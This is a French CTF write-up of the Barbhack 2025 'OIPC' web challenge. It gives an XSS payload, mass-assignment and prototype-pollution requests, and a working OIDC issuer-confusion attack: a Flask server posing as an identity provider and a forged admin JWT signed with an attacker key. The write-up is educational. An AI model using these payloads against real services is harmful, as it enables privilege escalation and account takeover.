Writeup – Challenge Web OIPC

Introduction

Le challenge OIPC est une épreuve web proposée lors du CTF de la Barbhack 2025.
L’application se présente comme un site de commande de pizzas reposant sur une API REST.

Le niveau de difficulté est indiqué comme medium et aucun code source n’est fourni.
Notre objectif est d’analyser le fonctionnement de l’application pour identifier une vulnérabilité permettant d’escalader nos privilèges et de récupérer le flag en devenant administrateur.

Découverte de l’application

En parcourant les fonctionnalités accessibles, on identifie rapidement les endpoints exposés par l’API.

Authentification et gestion de compte

Il est possible de créer un compte et de se connecter :

  • POST /register : création d’un compte utilisateur avec un username, email, name, et password.
    → En réponse, l’application retourne un access token JWT ainsi que les informations utilisateur (is_admin fixé à false).

  • POST /login : connexion avec username et password.
    → Retourne également un JWT et les mêmes informations utilisateur.

Endpoints utilisateurs

Une fois authentifié, on peut interagir avec les endpoints protégés via l’entête Authorization: Bearer :

  • GET /userinfo
    → Retourne les informations liées au compte connecté (email, nom, rôle admin ou non).

Gestion des commandes

  • POST /order
    → Permet de passer commande en précisant le type de pizza et la quantité.
    La réponse contient un objet order avec le détail de la commande (id, username, pizza, quantité, prix total).

  • GET /orders
    → Liste toutes les commandes de l’utilisateur connecté.

Vulnérabilité annexe (non prévue)

Lors de nos tests, nous avons découvert une vulnérabilité côté frontend.
En effet, le nom de la pizza fourni lors de l’appel à POST /order est directement renvoyé par le serveur et intégré dans le DOM via la fonction suivante :

function displayOrders(orders) {
    const ordersList = document.getElementById('orders-list');
    ordersList.innerHTML = '';

    console.log('Displaying orders:', orders); // Debug log

    orders.forEach(order => {
        console.log('Processing order:', order); // Debug log

        const orderDiv = document.createElement('div');
        orderDiv.className = 'order-item';

        const orderDate = new Date(order.timestamp || order.Timestamp).toLocaleDateString();
        const orderTime = new Date(order.timestamp || order.Timestamp).toLocaleTimeString();

        // Handle case where Total might be undefined or have different case
        const total = order.total || order.Total || 0;

        orderDiv.innerHTML = `
            <div class="order-header">
                <span class="order-id">Order #${order.id || order.ID}</span>
                <span class="order-date">${orderDate} ${orderTime}</span>
            </div>
            <div class="order-details">
                <span class="pizza-name">🍕 ${order.pizza || order.Pizza}</span>
                <span class="quantity">Qty: ${order.quantity || order.Quantity}</span>
                <span class="total">$${total.toFixed(2)}</span>
            </div>
            ${(order.flag || order.Flag) ? `<div class="order-flag">🏁 ${order.flag || order.Flag}</div>` : ''}
        `;

        ordersList.appendChild(orderDiv);
    });
}

Le paramètre pizza est injecté dans le DOM à l’aide de innerHTML sans aucune validation ni encodage, ce qui ouvre la voie à une attaque XSS.

Exemple de payload possible lors de la commande :

{"pizza":"<img src=x onerror=alert(1)>","quantity":"1"}

Cela provoque l’exécution de JavaScript lors de l’affichage des commandes.

⚠️ Cependant, dans le cadre du challenge, il n’existe ni bot ni autre utilisateur à compromettre.
Cette vulnérabilité est donc réelle mais inutile pour l’exploitation. Après discussion avec le créateur, elle n’était pas prévue dans le challenge.

Premières tentatives d’exploitations

Une fois les fonctionnalités identifiées, nous avons tenté plusieurs approches classiques sur ce type d’API.
L’objectif était de modifier notre compte afin d’obtenir le rôle administrateur (is_admin=true).

Tests de Mass Assignment

Une première idée était d’exploiter un problème de mass assignment lors de l’inscription ou de la connexion.
En ajoutant manuellement le champ is_admin dans le corps de la requête, nous espérions forcer la création d’un compte privilégié.

Exemple sur /register

POST /register HTTP/1.1
Host: localhost:3000
Content-Type: application/json

{
  "username": "attacker",
  "email": "attacker@ctf.local",
  "name": "Attacker",
  "password": "password123",
  "is_admin": true
}

Réponse :

{
  "access_token": "...",
  "user": {
    "username": "attacker",
    "email": "attacker@ctf.local",
    "name": "Attacker",
    "is_admin": false
  }
}

Le champ is_admin est ignoré, la protection côté serveur fonctionne correctement.

Exemple sur /login

POST /login HTTP/1.1
Host: localhost:3000
Content-Type: application/json

{
  "username": "attacker",
  "password": "password123",
  "is_admin": true
}

Réponse :

{
  "access_token": "...",
  "user": {
    "username": "attacker",
    "email": "attacker@ctf.local",
    "name": "Attacker",
    "is_admin": false
  }
}

Même constat : impossible de forcer la valeur.

Modification de méthode HTTP

Nous avons également testé si d’autres méthodes que POST pouvaient fonctionner sur certains endpoints, comme /register ou /userinfo.
Par exemple, en tentant une mise à jour via PUT ou PATCH pour changer notre rôle :

PATCH /userinfo HTTP/1.1
Host: localhost:3000
Authorization: Bearer <token>
Content-Type: application/json

{
  "is_admin": true
}

Réponse :

{"error": "Method not allowed"}

Le backend ne supporte pas d’autres méthodes que celles attendues (POST ou GET).

Tentatives de Prototype Pollution

Enfin, nous avons cherché à savoir si les objets JSON transmis pouvaient causer une prototype pollution, en injectant des propriétés spéciales comme __proto__.

Exemple sur /register

POST /register HTTP/1.1
Host: localhost:3000
Content-Type: application/json

{
  "username": "polluter",
  "email": "polluter@ctf.local",
  "name": "Polluter",
  "password": "pollute",
  "__proto__": {
    "is_admin": true
  }
}

Exemple sur /login

POST /login HTTP/1.1
Host: localhost:3000
Content-Type: application/json

{
  "username": "polluter",
  "password": "pollute",
  "__proto__": {
    "is_admin": true
  }
}

Dans les deux cas, la requête aboutit, mais l’attribut is_admin reste à false.
Le serveur semble protéger correctement la sérialisation des objets JSON, rendant cette approche inefficace.

Pour évaluer la plausibilité d’une exploitation via prototype pollution, il est important d’identifier la technologie utilisée côté serveur.
En effet, ce type de vulnérabilité est spécifique à Node.js et repose sur la manière dont JavaScript manipule les objets.

Hypothèse initiale : Backend en Node.js

Le challenge étant intitulé OIPC et fonctionnant avec des tokens JWT, nous avons supposé que l’application pouvait être développée en Node.js avec un framework courant (Express par exemple).

Pour confirmer cette hypothèse, nous avons cherché à provoquer une erreur serveur. Nous avons volontairement corrompu un token JWT afin de déclencher une erreur lors de la vérification de la signature.
Exemple : en modifiant quelques caractères de la partie finale (signature), puis en réutilisant ce token pour appeler /userinfo :

GET /userinfo HTTP/1.1
Host: localhost:3000
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...

Résultat obtenu

La réponse du serveur fut la suivante :

"failed to verify token: token signature is invalid: crypto/rsa: verification error"

Ce message d’erreur est caractéristique des librairies crypto/rsa du langage Go.
En consultant ce post StackOverflow, nous avons confirmé que l’application backend est en réalité développée en Golang, et non en Node.js.

Puisque les prototype pollutions sont propres aux environnements JavaScript/Node.js, cette piste d’exploitation ne pouvait pas fonctionner dans le cadre de ce challenge.
Nos tests avec __proto__ sur /register et /login n’ont donc logiquement donné aucun résultat exploitable.

Seconde piste : l’implémentation OIDC

Le nom du challenge OIDC n’est sans doute pas anodin.
OIDC (OpenID Connect) est une surcouche au protocole OAuth2 permettant l’authentification via des JWT.

Indices initiaux

Dès la page de connexion, un bouton “Login with Google” est présent, ce qui renforce l’idée qu’un mécanisme d’authentification basé sur OIDC est en place dans l’application.
Cela correspond parfaitement à l’utilisation de tokens JWT signés que nous avons déjà observée lors de l’inscription et de la connexion.

Confirmation par fuzzing

Pour confirmer cette hypothèse, nous avons lancé un fuzzing léger des endpoints connus pour être exposés par une implémentation OIDC.
Cela nous a permis de découvrir deux routes intéressantes :

  • /.well-known/openid-configuration
  • /.well-known/jwks.json

Ces deux fichiers sont caractéristiques d’un serveur OIDC.

OpenID Configuration

La ressource /.well-known/openid-configuration nous renvoie les métadonnées complètes du fournisseur d’identité :

{
  "authorization_endpoint": "http://localhost:3000/authorize",
  "claims_supported": ["sub","name","email","iss","aud","exp","iat"],
  "id_token_signing_alg_values_supported": ["RS256"],
  "issuer": "http://localhost:3000",
  "jwks_uri": "http://localhost:3000/.well-known/jwks.json",
  "registration_endpoint": "http://localhost:3000/register",
  "response_types_supported": ["code","id_token","code id_token"],
  "scopes_supported": ["openid","profile","email"],
  "subject_types_supported": ["public"],
  "token_endpoint": "http://localhost:3000/token",
  "userinfo_endpoint": "http://localhost:3000/userinfo"
}

On retrouve les éléments standards d’une configuration OIDC :

  • un issuer déclaré (http://localhost:3000),
  • un token endpoint,
  • un userinfo endpoint,
  • et surtout la référence vers la clé publique de vérification des JWT.

JWK Set

En consultant /.well-known/jwks.json, nous obtenons la clé publique utilisée pour vérifier la signature des tokens :

{
  "keys": [
    {
      "e": "AQAB",
      "kid": "pizza-key-1",
      "kty": "RSA",
      "n": "vO7nD96OpRrNQcZLSXiPEWZ6gviAsVfHgFjYjKEFYbSnEjzovDw0lMWTiManiL3gQU_heIjy7WVs51d0HX5cqgXdvLaDcm8Cq1HrkPID5gXdgtt96Yu6z9B6JUP3PjUulzaJI0DylFoQ23qYbUQX73fATrtROf79SxA1y70NIMKXHafw1O81OLsCDL4spN46-59-s328_s6CDU90T9nZRvhghMx2mZUnVaV-erIGqPcoKk2Jau7N74HbaA6vedUCM-mP4Tt7g_-GvYrQlvq_fEmekMj1wI2xdbxWQvmszDimCOpzEjtEOjR5pRXRLTN2rfV59lYsQ04aiVCYm5x8cQ",
      "use": "sig"
    }
  ]
}

Nous disposons donc de la clé publique RSA (kid: pizza-key-1) servant à valider les JWT.

À ce stade, il est clair que le challenge repose sur une implémentation en Go d’un fournisseur OIDC.
La piste d’exploitation consistera donc à manipuler les tokens JWT générés, afin de forger un token valide nous attribuant des privilèges administrateur.

Tentative de factorisation de la clé RSA

Avant de plonger plus en profondeur dans la manipulation des JWT, nous avons envisagé une approche plus directe :
tenter de factoriser le module RSA contenu dans le JWK afin de reconstruire la clé privée.

Le champ n exposé dans /.well-known/jwks.json correspond en effet au modulus RSA :

"n": "vO7nD96OpRrNQcZLSXiPEWZ6gviAsVfHgFjYjKEFYbSnEjzovDw0lMWTiManiL3gQU_heIjy7WVs51d0HX5cqgXdvLaDcm8Cq1HrkPID5gXdgtt96Yu6z9B6JUP3PjUulzaJI0DylFoQ23qYbUQX73fATrtROf79SxA1y70NIMKXHafw1O81OLsCDL4spN46-59-s328_s6CDU90T9nZRvhghMx2mZUnVaV-erIGqPcoKk2Jau7N74HbaA6vedUCM-mP4Tt7g_-GvYrQlvq_fEmekMj1wI2xdbxWQvmszDimCOpzEjtEOjR5pRXRLTN2rfV59lYsQ04aiVCYm5x8cQ"

En le décodant en base64url, nous obtenons un entier de 2048 bits, ce qui correspond à une taille standard pour une clé RSA moderne.

Nous avons soumis ce modulus à plusieurs outils de factorisation connus (par exemple factordb.com, RsaCtfTool, Msieve…).
Sans surprise, aucune factorisation n’était possible : la clé était générée correctement et robuste. Bien que nous n’ayons pas beaucoup d’espoir dans cette approche, il était nécessaire de vérifier. La clé RSA ne pouvait pas être factorisée, confirmant que l’exploitation du challenge devait se situer ailleurs, probablement dans la mauvaise implémentation de la vérification OIDC/JWT.

Rappel sur le fonctionnement d’OpenID Connect (OIDC)

Pour mieux comprendre le challenge et la piste d’exploitation autour des tokens JWT, il est utile de rappeler le fonctionnement général d’OpenID Connect (OIDC).

OIDC est une couche d’identité construite au-dessus du protocole OAuth 2.0, permettant de gérer authentification et autorisation de manière sécurisée via des JSON Web Tokens (JWT).

Les acteurs principaux

  • Client : l’application qui souhaite authentifier un utilisateur (ici, l’application de commande de pizzas).
  • Resource Owner (User) : l’utilisateur qui s’authentifie.
  • Authorization Server / Identity Provider (IdP) : le serveur OIDC qui gère l’authentification et délivre les tokens.
  • Resource Server (API) : le service protégé qui accepte ou non l’accès en fonction des tokens fournis.

Les types de tokens

OIDC repose sur l’utilisation de plusieurs types de tokens :

  • Access Token : donne accès aux ressources protégées (API).
  • ID Token : un JWT signé contenant les informations d’identité de l’utilisateur (claims : sub, name, email, iss, aud…).
  • Refresh Token : permet de renouveler un access token expiré.

Le cycle d’authentification

  1. L’utilisateur se connecte via le Client (par exemple avec ses identifiants ou via un fournisseur externe comme Google).
  2. Le Client redirige vers l’Identity Provider, qui vérifie l’authentification.
  3. L’IdP délivre un ou plusieurs tokens (selon le flow utilisé : code, id_token, code id_token).
  4. Le Client stocke les tokens et les utilise pour interagir avec l’API protégée.
  5. L’API vérifie la validité du JWT (signature, audience, expiration, issuer) en utilisant la clé publique exposée dans /.well-known/jwks.json.

Vérification d’un JWT

Lorsqu’un JWT est reçu, l’application effectue plusieurs contrôles :

  • Vérification de la signature via la clé publique du JWK.
  • Vérification des claims :
    • iss (issuer) → doit correspondre à l’IdP officiel.
    • aud (audience) → doit correspondre au client prévu (ici pizza-app).
    • exp (expiration) et iat (issued at).

Seul un token correctement signé et valide permet d’accéder aux endpoints protégés.

Analyse du paramètre iss dans le JWT

En décodant un JWT valide, nous avons pu observer les claims contenus dans le body :

{
  "admin": false,
  "aud": "pizza-app",
  "email": "AAAAAA@AAAAAA.AAAAAA",
  "exp": 1758029608,
  "iat": 1758022366,
  "iss": "http://localhost:3000",
  "name": "AAAAAA",
  "sub": "AAAAAA"
}

Le champ intéressant ici est iss (issuer).
Ce paramètre identifie le serveur d’authentification qui a émis le token et doit normalement être vérifié par le backend.
En pratique, il permet à l’API de s’assurer que le token a bien été délivré par le bon fournisseur d’identité.

Manipulation de l’iss

Nous avons tenté de modifier la valeur du champ iss afin de la faire pointer vers un domaine que nous contrôlons.
Pour ce test, nous avons utilisé un collaborator de BurpSuite :

{
  "admin": false,
  "aud": "pizza-app",
  "email": "AAAAAA@AAAAAA.AAAAAA",
  "exp": 1758029608,
  "iat": 1758022366,
  "iss": "http://rpkb0jgzfllujjrvx2iy16lhg8mzapye.oastify.com",
  "name": "AAAAAA",
  "sub": "AAAAAA"
}

En envoyant ce token modifié sur l’endpoint /order, nous avons immédiatement reçu une requête HTTP sur notre serveur collaborateur, ciblant le chemin :

/.well-known/openid-configuration

Interprétation

Cela confirme que l’application fait confiance à l’issuer déclaré dans le token pour récupérer dynamiquement la configuration OIDC (et donc la clé publique de validation des signatures).

Concrètement :

  • Le backend lit le champ iss dans le JWT.
  • Il récupère le document /.well-known/openid-configuration auprès de cette URL.
  • Il extrait l’URI du JWK Set (jwks_uri).
  • Puis il télécharge la clé publique pour vérifier la signature du token.

Conséquence

Si le serveur n’effectue aucune vérification stricte de l’issuer, nous pouvons :

  1. Générer notre propre paire de clés RSA.
  2. Signer un token JWT avec la clé privée.
  3. Définir un iss pointant vers un serveur que nous contrôlons.
  4. Héberger sur ce serveur un /.well-known/openid-configuration indiquant notre propre jwks_uri.
  5. Exposer dans ce jwks_uri la clé publique correspondante.

Exploitation : Forger un JWT administrateur

Après avoir confirmé que l’application faisait confiance à la valeur du champ iss, nous avons mis en place une attaque de type OIDC Issuer Confusion.

Étape 1 : Génération d’une paire de clés RSA

À l’aide de l’extension JWT Editor de BurpSuite, nous avons généré une nouvelle paire RSA.
Voici un extrait de la clé privée produite (au format JWK) :

{
  "kty": "RSA",
  "kid": "6003fb1f-72a4-4419-ae40-82ffd2099cc8",
  "n": "mTkAq22X87j3Pg9kJ5zjRoQkUHZ6XAdVOWHtKigr3LG26TiFutuXTx4wnmDtyNGDrE-kALRs_1aCVa0ALYOiMKd2zQTstiQXyi1fv_v5ivQZgeVGvrehmaVw_QwPdHFAuGZ7iA019p5_UX6uCUhb2k-JPSVci6ILr5dKYi_LkjSoPPpDSZrZAob6LN2ioZddsb8iwI74dUEJzrxbEZpba6MTSJL0bRAssVo8GM8D4y2j1U6r_OVNFRMILRHqcYPqpDuBAuMHIsUpERoX7WmwYLoVbjoFuEMl3wiBlcJt_7svW8PX3qfoDXBEYPBFvjQIwzy8bVadBYHl_aSzVoJKcw",
  "e": "AQAB",
  "d": "EKqgpgT_wvpa-nHWJRuYT91OeJTKmSQQYx4scVTOoJeRcSuSxaaJKN6nJIh1P6N6knhUkIxk_B6ULW7qAV67elYHmCQcU3D4SCeeA1YMk3lwei6kVAPJcjBgFUZbOqvvAZ_ezrJmgkhEn8ALJ5Cqsm51sSRVPWMHqQvogrxML7..."
}

Cette clé nous permettra de signer nos propres JWT.

Étape 2 : Hébergement d’un faux serveur OIDC

Nous avons ensuite hébergé un petit serveur Flask local qui simule un fournisseur OIDC :

from flask import Flask, jsonify

app = Flask(__name__)

@app.route('/.well-known/openid-configuration')
def configuration():
    return jsonify({
        "issuer": "http://10.10.140.11:3000",
        "jwks_uri": "http://10.10.140.11:3000/.well-known/jwks.json",
        "authorization_endpoint": "http://10.10.140.11:3000/authorize",
        "token_endpoint": "http://10.10.140.11:3000/token",
        "userinfo_endpoint": "http://10.10.140.11:3000/userinfo",
        "claims_supported": ["sub","name","email","iss","aud","exp","iat"],
        "id_token_signing_alg_values_supported": ["RS256"]
    })

@app.route('/.well-known/jwks.json')
def jwks():
    return jsonify({
        "keys": [{
            "kty": "RSA",
            "kid": "6003fb1f-72a4-4419-ae40-82ffd2099cc8",
            "n": "mTkAq22X87j3Pg9kJ5zjRoQkUHZ6XAdVOWHtKigr3LG26TiFutuXTx4wnmDtyNGDrE-kALRs_1aCVa0ALYOiMKd2zQTstiQXyi1fv_v5ivQZgeVGvrehmaVw_QwPdHFAuGZ7iA019p5_UX6uCUhb2k-JPSVci6ILr5dKYi_LkjSoPPpDSZrZAob6LN2ioZddsb8iwI74dUEJzrxbEZpba6MTSJL0bRAssVo8GM8D4y2j1U6r_OVNFRMILRHqcYPqpDuBAuMHIsUpERoX7WmwYLoVbjoFuEMl3wiBlcJt_7svW8PX3qfoDXBEYPBFvjQIwzy8bVadBYHl_aSzVoJKcw",
            "e": "AQAB",
            "use": "sig"
        }]
    })

if __name__ == '__main__':
    app.run("0.0.0.0", 3000, debug=True)
  • L’endpoint /.well-known/openid-configuration déclare notre propre jwks_uri.
  • L’endpoint /.well-known/jwks.json expose la clé publique correspondant à notre clé privée générée.

Étape 3 : Forger un JWT administrateur

Nous avons ensuite créé un JWT en signant avec notre clé privée.
Nous avons modifié deux champs dans le payload :

{
  "admin": true,
  "aud": "pizza-app",
  "email": "attacker@ctf.local",
  "exp": 1758029608,
  "iat": 1758022366,
  "iss": "http://10.10.140.11:3000",
  "name": "attacker",
  "sub": "attacker"
}
  • admin: true → élévation de privilège.
  • iss: http://10.10.140.11:3000 → redirige le backend vers notre faux serveur OIDC pour récupérer la clé publique.

Étape 4 : Exploitation et récupération du flag

Avec ce JWT forgé, nous avons pu interagir avec l’API en tant qu’administrateur.
En particulier, en appelant GET /orders, nous avons obtenu le flag final :

oidc_iss_validation_bypass_pizza_time !

Auteur/autrice